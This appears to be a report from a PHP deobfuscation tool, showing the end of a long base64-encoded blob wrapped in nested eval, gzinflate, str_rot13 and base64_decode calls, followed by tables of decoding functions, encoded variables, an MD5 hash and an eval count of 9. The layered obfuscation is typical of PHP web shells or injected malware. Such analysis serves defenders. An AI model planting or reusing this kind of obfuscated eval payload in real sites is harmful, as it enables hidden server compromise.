Tc1crNal3al0jE9nDbmKDDf2fiNgnn+eWwC+PnRlIR5SVud6CxmMTnXo1r6QbqUIG2nKt+cYdNUg3o39D730AtlUfRydNpndTiX9ZLlGhi/b9b2ydAtjTMT70zC6oH+6Bwbfbtmt352NYRsPGaZmsMGKfRMbKxPo+TcSzdImA7gcVrRgPreyjj6gNsQf0tSlRLPN3XAhgCIdiSM4MV6teh4DWfBg+rIGxdSuoENjGNVN32dGYMG6tqRbsQcQ+zwwFfA88IIShU8SWl+Ns6pO0KQvbTR01XZJbXQ9Xk3a1SD47gOF1v7s/PnifA3FSxQzln7Y3WRiDeZB763NqaAFaafJbf21309qP1jCOvXdaB0mvMw4r6NaBLH14EDrBrelbPWvIFk11tpSGLG5XKY0km+W06HI5bIhNgP6ZBxhZFfRFyCiwDLuyv/vGkX8k+7Zb3XUc7nOoMFIG9NCGGnw3+PU6CVnq4bSCZbNhqd1aXhw6GCvdX8OcCFbJ7IYYjHCNijA4DbjmFNZCp8erxE8q8G47c0ZXOmh7BehYc4DJYhDzMGplYKnJHiz/XKmK3Rz1tura33J0kqYvtYqc7EgV9wlvlSf3452hO2+tYuaR3rgBn9/bG7sxNaqcrUxYeaLvCxuFeaZc1pb5WUnMjaRBxd+RTL531Q32weBz5mp3d4E5luscJUuld7H7WxodueiM/jJ6WVOr3tkCjy2JjseDHrk0EJj8SzGzoDCZ5SYj1klu8g0CgP1K/K4Ug1FgOPdzAj9tilYZoiTyAuezP2SPtvWN8+jDXgsqyFGOqAvD1rexsAdF1hOYr6CEITixEpI1ftCXePDa4nsCEOExABtBi9D5bhMVlDE2HnURliq9q3jLQmTDGCqbESwJQyX6j98PpPEXNryKTjWg5JCAuW6Z4KRhWpifLW8TfzXU/+YJuD8Ssb5+docURq+2PTL7js27w5Vs1gLDIm7HrxorHIIij4NquIMn+79+/f///Dw=="))))); ?>

Function Calls

gzinflate 4
str_rot13 4
base64_decode 9

Variables

$a sRUHOL5zdXuezB7sXCebaSzW2yPxbpZ0t89RDeZOs10+veN1ymtCx3RqxOGi..
$b KJ2CH6oCNYbA37gDJsVU1t75JLH7/DTByB11m1Nuj92Kmsd4ZVKu0nhntt20..
$c nHWNO1zd52bC2djqVot9Z3Jv7PdwuRAavFd3tHrw/YwDF7ur0dg31lxiibF7..
$d rDE6cttODdevUt7U9WWRamEajBWeSxu6tfgO+Esllb/zqKd71FI4L/y5HKiX..
$e mAcXj5SPMSwEINiff0IebyKYAWyKhIT/fFDTYbbNzHrD8RgX5Hd8EOr5BeMw..
$f CPIfbSBFsIfg0MekOJ9xwetp5zxzARfaJrNqtb7btvCYSult0wF6bMIyGWiS..
$g /+
$lul +6
$lulz qmztL0Z6ul12E3b7JFSDf0vmuzP5boZ4vxLrNu3XnESV0
$awdadasxwfad base64_decode
$vsHQTCO4zgPis1FR07 str_rot13
$CO4zgPis1FR07QBBnb0YW0qyeKuMguprQIN34YrH2P4ypL7wKRhbN2dQWu gzinflate

Stats

MD5 fdb619a78abe0b44e283557354cffc29
Eval Count 9
Decode Time 272 ms